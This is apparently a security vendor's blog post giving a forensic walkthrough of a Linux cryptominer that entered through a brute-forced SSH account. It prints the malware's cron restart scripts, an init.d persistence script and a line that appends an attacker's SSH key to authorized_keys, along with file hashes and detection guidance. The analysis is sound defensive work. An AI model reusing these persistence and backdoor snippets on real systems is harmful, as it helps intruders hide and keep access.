Linux Malware Cryptominer Detection and Forensics

This year we have seen a huge uptick in cryptomining malware against Linux servers. The usual attack vector is the following:

1. A brute force attack against SSH accounts.

2. Automated install of a pre-compiled binary once access is obtained.

3. Modifying the system to ensure malware persistence.

4. Start mining cryptocurrencies on the victim’s CPU or GPU.

The mechanisms have also been adapted to brute force exposed SQL services, web servers, etc. Yet, the end result it the same: A process that is using the victim’s resources to mine cryptocurrency for the attacker.

While most of the time this attack is not destructive, it does tie up the system resources. Also, because you can never be sure what else was modified during the attack, you will need to reload the affected system completely from known good backups which wastes your time. Finally, there is also the possibility that other credentials on the host were compromised and the attackers could spread further.

Preventing Cryptomining on Linux

Most of the cryptomining attacks we see have been the result of lapses in basic security. The attacks are almost always automated and are searching for low hanging fruit for an easy hit.

To protect against these attacks we recommend you take the following action:

1. Disable all default system login accounts.

2. Disable SSH password logins and require SSH private key authentication.

3. Enable two-factor authentication for SSH as well if you are able.

4. Block access to all network services that do not need to be exposed to the Internet (e.g. databases, control panels, and SSH ports).

5. Monitor systems for unusual CPU, memory, disk, and network activity.

6. Use host-based intrusion detection to spot any problems that might have slipped through (yeah, we’re biased but you’ll see below why it’s

Doing the above will knock out most of the cryptomining hacks we have seen.

Forensic Analysis of a Linux Cryptominer

A customer had a cryptominer infiltrate a legacy server on their network. The attack came in over a compromised SSH account for the “oracle” user. There was a weak password which allowed a basic brute force attack to gain access.

This particular piece of malware was not identified by sites like virustotal.com using the file hash. If you are relying on a signature-based file scanner to find this kind of activity, you will be disappointed. Sandfly does not use signatures to search for malware, rather we focus on how attacks work to provide generic detection even against unknown threats.

Once Sandfly was run against the affected host it was obvious something very bad was afoot. This customer has given us permission to use their forensic evidence from Sandfly for this post. Let’s go over how the cryptomining happened and how Sandfly can help spot this and other malicious activity on Linux.

Sandfly’s Results

To recap, Sandfly is an agentless intrusion detection and forensic investigator for Linux. Sandfly patrols Linux systems for suspicious activity and pulls over forensic evidence of anything it finds out of sorts. In this case, Sandfly was run against the affected host and it immediately spotted two problems:

1. There was a suspicious entry in the system crontab that allowed the malware to load and update itself.

2. There was a suspicious process running out of the /tmp directory.

Below are forensic snapshots of each event as seen in the Sandfly UI. We’ll go over the forensic details recovered so you can see the kind traces left behind by cryptomining malware on Linux.

Suspicious Cron Persistence Entry

Sandfly reported a suspicious entry in the system cron scheduler for the oracle user:

The first thing many pieces of malware do is try to make sure they get re-loaded if someone removes them (called persistence). Sandfly looks for signs that persistence level attacks are taking place. We check areas such as cron, at jobs, and other locations used to establish persistence like system start-up directories.

In the above detected attack we see a few things:

1. A script running out of the tmp directory which is very unusual.

2. The user “oracle” doesn’t normally login nor run scheduled tasks.

3. The directory name where the command is located has unusual components (“-l” as a directory name)

Suspicious Directory

Starting at the top we already know the oracle user is a prime suspect. Let’s go into the directory listed in the cron command:

/var/tmp/.ICE-unix/-l

Note that the use of “-l” may be deliberate because it can cause trouble using the cd command to go into this directory. This could be an attempt to break file scanning tools from looking into this directory with automated scans or administrators that aren’t comfortable in Linux. If you run the standard cd command (e.g. cd -l) you will get an error. To go into this directory from the command line you need to do tell the cd command to ignore any dash commands with the double-dash option:

cd -- -l

Once in this directory we can see all the support files

$ ls -al
total 19656
drwxr-xr-x 3 oracle dba 4096 Jul 12 18:20 .
drwxrwxrwt 3 root root 4096 Jul 20 02:55 ..
-rw-r--r-- 1 oracle dba 20064703 Jul 12 18:59 .a
drwxr-xr-x 2 oracle dba 4096 Jun 11 22:24 .db
-rw-r--r-- 1 oracle dba 210 Jul 12 16:43 b
-rw-r--r-- 1 oracle dba 5 Jul 12 16:43 b.pid
-rw-r--r-- 1 oracle dba 9004 Apr 9 22:03 config.txt
-rw-r--r-- 1 oracle dba 1877 Jun 12 22:52 cpu.txt
-rw-r--r-- 1 oracle dba 52 Jul 12 16:42 cron.d
-rwxr-xr-x 1 oracle dba 209 Jun 11 01:11 lib.sh
-rw-r--r-- 1 oracle dba 1513 May 12 22:26 pools.txt
-rwxr--r-- 1 oracle dba 349 Jul 12 16:52 sh
-rwxr-xr-x 1 oracle dba 5335 Jun 11 22:55 t

Quick Analysis of Suspicious Files

Let’s run the file command to get a quick rundown of what’s in our suspect directory above:

$ file *
b: ASCII text
b.pid: ASCII text
config.txt: UTF-8 Unicode text
cpu.txt: ASCII text
cron.d: ASCII text
lib.sh: Bourne-Again shell script, ASCII text executable
pools.txt: ASCII text
sh: POSIX shell script, ASCII text executable
t: Bourne-Again shell script, ASCII text executable, with very long lines

It looks like support scripts and config files. The file being run from cron is called sh so we’ll start there first. A snippet of it is below (formatting changed):

$ cat sh
#!/bin/sh
dir=/var/tmp/.ICE-unix/-l
if test -r /var/tmp/.ICE-unix/-l/b.pid; then
pid=$(cat /var/tmp/.ICE-unix/-l/b.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /var/tmp/.ICE-unix/-l
./lib.sh>/dev/null&
pkill lib.sh
ps -ef|grep wipefs>b
head -1 b|awk '{print }'|sort|uniq >b.pid
/var/tmp/.ICE-unix/-l/.db/./libq.so.1

There is another support script called lib.sh as well:

$ cat lib.sh
#!/bin/bash
SCRIPT_PATH=$(dirname $(readlink -f $0))
$SCRIPT_PATH/.db/wipefs --library-path $SCRIPT_PATH/.db $SCRIPT_PATH/.db/x $*
ps -ef|grep wipefs>b&&cat b |awk '{print $2}'|sort|uniq >s&&head -1 s>b.pid

Looking at these scripts we see they check for the malware running, and try to restart it if it’s not present anymore. It also runs another script /var/tmp/.ICE-unix/-l/.db/./libq.so.1 that we’ll look at in a moment.

The cron is setup to run this check every minute. We also see that there are two binaries of interest being referenced called wipefs and x that we will want to look at more closely in a bit.

Maintains Access with SSH Key

Next there is a script called t that contains some more commands to insert a new fake user, plus a SSH key under the compromised user’s home directory:

echo 'ssh-rsa ssh_key_deleted' >> ~/.ssh/authorized_keys

The above can be easy to miss and would allow an attacker to come back onto the compromised host even if you disabled the login password they used. They simply would use their SSH key and they are back in the game. This is why you can’t trust a host that has been compromised and you should reload it to be sure you didn’t miss anything.

Extraneous Files

Other files under this directory show various configuration options for the cryptominer including the wallet address, pool servers, etc. Due the nature of cryptocurrencies this isn’t that useful by itself. However, if you are watching network traffic it may be worth putting the IP addresses the cryptominer is configured to talk to under monitoring to see if any other systems are connecting outbound to them.

$ more config.txt
...
{"pool_address" : "<deleted ip_addr>:443", "wallet_address" : "<deleted>", "rig_id" : "", "pool_password" : "x", "use_nicehash" : true, "use_tls" : false, "tls_fingerp
rint" : "", "pool_weight" : 1 }
...

Quick Analysis of Malicious Binaries

Under the main directory we also find another hidden directory called “.db” that contains the executables and shared libraries:

$ cd .db
$ ls -al
total 14036
drwxr-xr-x 2 oracle dba 4096 Jun 11 22:24 .
drwxr-xr-x 3 oracle dba 4096 Jul 12 18:20 ..
-rwxr-xr-x 1 oracle dba 1868984 Nov 20 2017 libc.so.6
-rwxr-xr-x 1 oracle dba 2361856 Nov 20 2017 libcrypto.so.1.0.0
-rwxr-xr-x 1 oracle dba 14608 Nov 20 2017 libdl.so.2
-rwxr-xr-x 1 oracle dba 31104 Nov 20 2017 libffi.so.6
-rwxr-xr-x 1 oracle dba 89696 Nov 20 2017 libgcc_s.so.1
-rwxr-xr-x 1 oracle dba 919168 Nov 20 2017 libgcrypt.so.20
-rwxr-xr-x 1 oracle dba 522664 Nov 20 2017 libgmp.so.10
-rwxr-xr-x 1 oracle dba 1239440 Nov 20 2017 libgnutls.so.30
-rwxr-xr-x 1 oracle dba 80496 Nov 20 2017 libgpg-error.so.0
-rwxr-xr-x 1 oracle dba 207640 Nov 20 2017 libhogweed.so.4
-rwxr-xr-x 1 oracle dba 236992 Nov 20 2017 libhwloc.so.5
-rwxr-xr-x 1 oracle dba 207208 Nov 20 2017 libidn.so.11
-rwxr-xr-x 1 oracle dba 39272 Nov 20 2017 libltdl.so.7
-rwxr-xr-x 1 oracle dba 1088952 Nov 20 2017 libm.so.6
-rwxr-xr-x 1 oracle dba 97232 Nov 20 2017 libmicrohttpd.so.10
-rwxr-xr-x 1 oracle dba 219336 Nov 20 2017 libnettle.so.6
-rwxr-xr-x 1 oracle dba 43936 Nov 20 2017 libnuma.so.1
-rwxr-xr-x 1 oracle dba 408472 Nov 20 2017 libp11-kit.so.0
-rwxr-xr-x 1 oracle dba 138696 Nov 20 2017 libpthread.so.0
-rwxr-xr-x 1 oracle dba 77 Jun 11 22:21 libq.so.1
-rwxr-xr-x 1 oracle dba 31712 Nov 20 2017 librt.so.1
-rwxr-xr-x 1 oracle dba 280 May 15 22:52 libs.so.1
-rwxr-xr-x 1 oracle dba 428384 Nov 20 2017 libssl.so.1.0.0
-rwxr-xr-x 1 oracle dba 1566440 Nov 20 2017 libstdc++.so.6
-rwxr-xr-x 1 oracle dba 76192 Nov 20 2017 libtasn1.so.6
-rwxr-xr-x 1 oracle dba 104864 Nov 20 2017 libz.so.1
-rwxr-xr-x 1 oracle dba 162632 Nov 20 2017 wipefs
-rwxr-xr-x 1 oracle dba 2133472 Jun 3 18:04 x

Looking at these files we see they still have the likely correct creation date of November 2017 in the archive, but the file “x” has a newer creation date of June 3rd, 2018 and is the first one I’d want to investigate. Also, there are a couple newer files that would be prime suspects and the original wipefs that was running as well.

Let’s run the file command again to see what’s here:

$ file *
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
libcrypto.so.1.0.0: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c09d2e075184e1ca71f7e08957982a947a377939, stripped
libdl.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0fc788f0861846257b5f1773fbd438e95dfc1032, for GNU/Linux 2.6.32, stripped
libffi.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=9d9c958f1f4894afef6aecd90d1c430ea29ac34f, stripped
libgcc_s.so.1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=68220ae2c65d65c1b6aaa12fa6765a6ec2f5f434, stripped
libgcrypt.so.20: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2eb1594545cca1b5258dd030b398da174f4541da, stripped
libgmp.so.10: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=7b3533d5998d20ee1a1be3f87789b69041e7f620, stripped
libgnutls.so.30: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=3ce893f6d1382c2c7648dccb06e71b1c7e0861cc, stripped
libgpg-error.so.0: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=3a325585f22dae6ba918cdc3d2b62760f666fe16, stripped
libhogweed.so.4: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=b11678f560199547dcf726384ea39153ee0dfabf, stripped
libhwloc.so.5: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=caaf8d27e9b8484b4a3d21072e662cde2c0250e7, stripped
libidn.so.11: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=e09d3783ad1d0bbcd3204fa01e4ef6d756e18f57, stripped
libltdl.so.7: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=e5a08717f5e2a3645802839281bd6cc81c395aea, stripped
libm.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=ff7a33d389e756ca381a8189291a968ea5e1f4f8, for GNU/Linux 2.6.32, stripped
libmicrohttpd.so.10: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=7c5bf9295464d74810fef5be55a13c0fa093e26b, stripped
libnettle.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=d6b36c5a463ee0fa84fdd6d5fd3f7726edb90d54, stripped
libnuma.so.1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=853d40e8e4c6c5f570e628e3edf1fcc1fa94842d, stripped
libp11-kit.so.0: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a0e2d03ff5cf65937f4425d4efd4d655243809eb, stripped
libpthread.so.0: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=27f189ef8db8c3734c6a678e6ef3cb0b206d58b2, for GNU/Linux 2.6.32, not stripped
libq.so.1: Bourne-Again shell script, ASCII text executable
librt.so.1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=f951c1e0765fcae48f82cafe35d1add36d6c9af9, for GNU/Linux 2.6.32, stripped
libs.so.1: Bourne-Again shell script, ASCII text executable
libssl.so.1.0.0: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=42d1d917636c64cf990465f087b181697e4cdd7f, stripped
libstdc++.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=b2eab689a85cbe4fd4ff4e26c85b78ed1c1bb649, stripped
libtasn1.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a6ee7754728d688b04095acb34f1a071f99ed6c3, stripped
libz.so.1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=8d9bd4ce26e45ef16075c67d5f5eeafd8b562832, stripped
wipefs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=9157f205547f0eb588e2ab1f2f120b74253a43ea, stripped
x: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2ffcfaefe68561e999ab1b0334a51714afb6dfe6, not stripped

The x file is an executable and the others are various shared object libraries (.so files). So our hunch was right to start with the x file as the most recently compiled binary. But, if you look closely there are also two files (libq.so.1 and libs.so.1) that are in fact shell scripts but named to look like .so files! Don’t forget to look at those for more clues.

For brevity, we’ll just look at the x file here as it’s the most suspicious based on the date. The companion file flagged wipefs could just be some kind of loader. We’ll use the strings command to look at the x binary because this just shows any printable text, but does not execute the binary. If you use a command like strace you will be running the malware which is not what you want to do.

$ strings x | more
...
 * Currency to mine. Supported values:
* aeon7 (use this for Aeon's new PoW)
* bbscoin (automatic switch with block version 3 to cryptonight_v7)
* croat
* edollar
* electroneum
* graft
* haven
* intense
* ipbc
* karbo
* masari
* monero7 (use this for Monero's new PoW)
* sumokoin (automatic switch with block version 3 to cryptonight_heavy)
* turtlecoin
* Native algorithms which not depends on any block versions:
* # 1MiB scratchpad memory
* cryptonight_lite
* cryptonight_lite_v7
* cryptonight_lite_v7_xor (algorithm used by ipbc)
* # 2MiB scratchpad memory
* cryptonight
* cryptonight_v7
* # 4MiB scratchpad memory
* cryptonight_heavy

After some paging we see obvious references to cryptocurrencies above pointing to this binary is likely a cryptominer. We say likely because without a proper reverse analysis we don’t really know what it’s doing and it could be a misdirection attempt.

Another Persistence Mechanism…

Digging more we find that there are two .so files that are really shell scripts. What are they hiding?

$ more libs.so.1
#[Watch the video here]/bin/bash
mv /lib64/-l/.db/libsovirtd /etc/init.d/
chmod +x /etc/init.d/libsovirtd
chown root /etc/init.d/libsovirtd
chgrp root /etc/init.d/libsovirtd
chkconfig libsovirtd on
chkconfig --level 6 libsovirtd on
chkconfig --list | grep libsovirtd
update-rc.d update-rc.d defaults

The file libs.so.1 shows more attempts to remain persistent, but it’s missing the binary referenced so maybe it wasn’t brought over with this attack. This one wanted to copy the file libsovirtd over to the init.d directory and make it run on each boot, but again it’s not present in this package so this script wouldn’t have worked.

You Can’t Trust a Compromised System

Looking at the above, we have three persistence/access mechanisms in place:

1. Cron entry to run every minute.

2. A rogue SSH key under the user’s directory.

3. An attempt to move and start a binary under /etc/init.d on each boot.

Again, you can’t trust a system that’s been compromised. We really don’t know if the above are the only surprises left behind and there could be others that are waiting. A compromised system needs to be reloaded from known good backups to be certain the problem is gone.

Cryptominer File Attributes from Sandfly

Aside from the cron entry that led us down the rabbit hole, we also had the active process that gave us plenty of clues about what was going on. Let’s start with the file attributes that were captured by Sandfly from the running process.

Let’s go over the main attributes:

explanation – This describes in plain English why Sandfly thinks this particular process is suspicious. In this case, we see a process running out of the system /var/tmp directory which is very unusual behavior.

file_date_* – Various attributes about when the file was made, when it accessed, and when it was modified. This file has the date attributes from the archive when it was made and accessed in the archive and on the victim’s disk.

file_entropy – This is the Shannon Entropy value for the file. If a file is perfectly non-random you’d see 0.000. If the file was perfectly random you’d see 8.000. A file that is encrypted or compressed will usually be over 7.9. In this case the file entropy shows the file is likely not encrypted. A lot of malware and malicious binaries can be packed or encrypted though to make detection and analysis harder.

file_gid_* – File group name and group ID. This case we see the group owner is “dba.”

file_inode – The inode of the file can be used to help dig around the filesystem in other ways to search for deleted data or hunt for out of order inodes in a directory.

file_is_link – Is this file a link?

file_is_sgid/suid – Is this file SUID or SGID to the owner?

file_is_suid_root/file_is_sgid_root – Is this file SUID or SGID root?

file_magic_num_*– Sandfly will pull the magic number of a file to identify it independent of what extension it has. In this case, Sandfly has detected this is an executable Linux binary.

file_mode – What is the permission set for this file? For those experienced in Unix, you can quickly see the bits set for the permissions here.

file_name – What does the file call itself on the disk? Note this can be different than what it calls itself once it starts running[Watch the video here]A process can do various things to make it look like something much different than what it is called on the file system to help hide from detection (this is called process masquerading).

file_nlink – Number of links to this file (usually used when tracing file links or hardlinks to a directory or file).

file_path – The full actual path where the file is located (not the link path, but actual full path to the target).

file_path_link – If a file is a link, the path where the link terminates.

file_path_root – The root directory where the actual file is located.

file_size – Size in bytes.

file_uid_* – The UID and UID name of the owner of the file.

hash_* – Hashes of the file in MD5, SHA1, SHA256, SHA512 that you can use for searching across your systems or in online databases to help identify the file. This particular piece of malware was not identified by sites like virustotal.com as of this post. It is very easy to recompile malicious code so it has a new signature, or to use other techniques to have it hide from signature scanners. However a hash can be used to help look on other systems for malicious binaries and we include it for use by investigators. See the Appendix below for the hashes of all the binaries in this malware package.

Cryptominer Process Attributes from Sandfly

Also attached to the above is the full process attributes of the file when it is running. Let’s look at those attributes for more details on this cryptominer:

process_cmdline – Sandfly will show the full command line of all processes. In the case above we can see all the files referenced by the malware when it was started. We also see the command line options which may reveal more information about what it is going on.

process_command – This is what the process command name was when it was executed. Note again though that a process can change how its name appears after it starts. Sandfly will show both names so you can see if it looks suspicious. Malicious processes often will change how they appear when running to masquerade what they are. This one is trying to impersonate the wipefs command and ran the x binary as part of the command line.

process_cwd – The directory where the process considers its working directory.

process_date_creation – When the process was started in UTC time.

process_environ – On Linux when a process starts the environment variables will be attached to it. Sandfly shows all the environment variables associated with a suspicious process and this can reveal useful information not available in other places.

process_gid_* – The process owner’s group name and group ID.

process_minutes_running – How long has this process been running in minutes? This process was running 18 minutes.

process_name – The name the process says it is when running. Again, a process can change how it looks in this variable and can cause it to be missed by casual observation. In this case the malware chose the name wipefs to conceal what it is.

process_path – The full path to where the process was started. This is a big clue in this case the process is suspicious due to the path alone.

process_pid – The PID of the process.

process_system_uptime – This is the uptime of the target system. You can use this to see how long this system has been up. In this case the system has been running since October 31st, 2017.

process_uid_* – The owner of the process.

Early Detection + Comprehensive Forensics = Sandfly

With the above information an administrator is able to quickly move and respond to malicious software and intruders on their Linux hosts. In this case, a previously unknown kind of cryptominer was quickly spotted by how it was behaving on a host. Sandfly runs constantly to detect these kinds of problems and best of all, it does it without loading any agents on your endpoints because it’s agentless.

Protecting your systems is easy when you have good data. If you want to try out Sandfly and help protect your Linux hosts against malware like cryptominers, .

Appendix: SHA1 File Hashes

We have been contacted to provide the SHA1 file hashes of the binaries. They are now listed below. The wipefs file was calling the x binary on the command line and may be benign, but was flagged as part of the overall attack chain.

SHA1 Hashes

14c22be9aa11316f89909e4237314e009da38883 libc.so.6
c64c4c2ea699657f4fb1e90810f7ed5ae40b483d libcrypto.so.1.0.0
a0a3f1428cd99e8646532ad1991f1f75631416b6 libdl.so.2
a5be37d7823f44e5cb5399a41df25c76f4e1649d libffi.so.6
187f0e1fcf0652c619a7f535773beb724a0d665e libgcc_s.so.1
5fa480cb0deddb7d7c3635225ee255f9a741fbf7 libgcrypt.so.20
d8c78664e7ceafcf14e106f34d8ce1c932c894ce libgmp.so.10
f797398a8ce08d7899b79a55ed5c8caed9ee29f1 libgnutls.so.30
a156585d0bcd050fef70ae292059f5d7b5537ab1 libgpg-error.so.0
91c52f6cc55ce3bd2800128ed13601db38aa7a1a libhogweed.so.4
1b17ace78552e32d251739d0337187d487e5464e libhwloc.so.5
d5a7de8df8a5121cfe8623879b302566de3018f6 libidn.so.11
452db99c53c83e5c07ce1f0eec4f79695b34e69e libltdl.so.7
0bd69b35200cb6a71142af3663ab5870c88dd059 libm.so.6
16209ef20ce47e52b5967166f8e916e92de26a9b libmicrohttpd.so.10
8fed5a28518c7ab56d41b2b8da3135ad672e2f50 libnettle.so.6
77f489759affb38d13c760b56e50d48988dd6f33 libnuma.so.1
b6f3dbd1030675223c5ba29b3df5369f70bc73fc libp11-kit.so.0
ce911591d4a9a8c860cc2abfae60d8f231d7c263 libpthread.so.0
6e0fef2c5380e5aba00b57d165a695cdef6381b8 libq.so.1
6b37d059a3d01dff3f26c60606489d29138dea24 librt.so.1
692f98d77507414173d74f021798c0682e4ec0a9 libs.so.1
cdcf12e1de69960a909c08cc8226872f53b43c11 libssl.so.1.0.0
7594be2634e418db04c10d6f825867d51e92dbd9 libstdc++.so.6
12f6056975777ce9aee4aabf1900e253c2efec0f libtasn1.so.6
c42f12ecb369f41702fcf532e07a94505bc56cb2 libz.so.1
bc659d9e2cb30539f49d1a008b685971b4f1e1a3 wipefs
23ff833273fc6c60d28d61950666266b6974413a x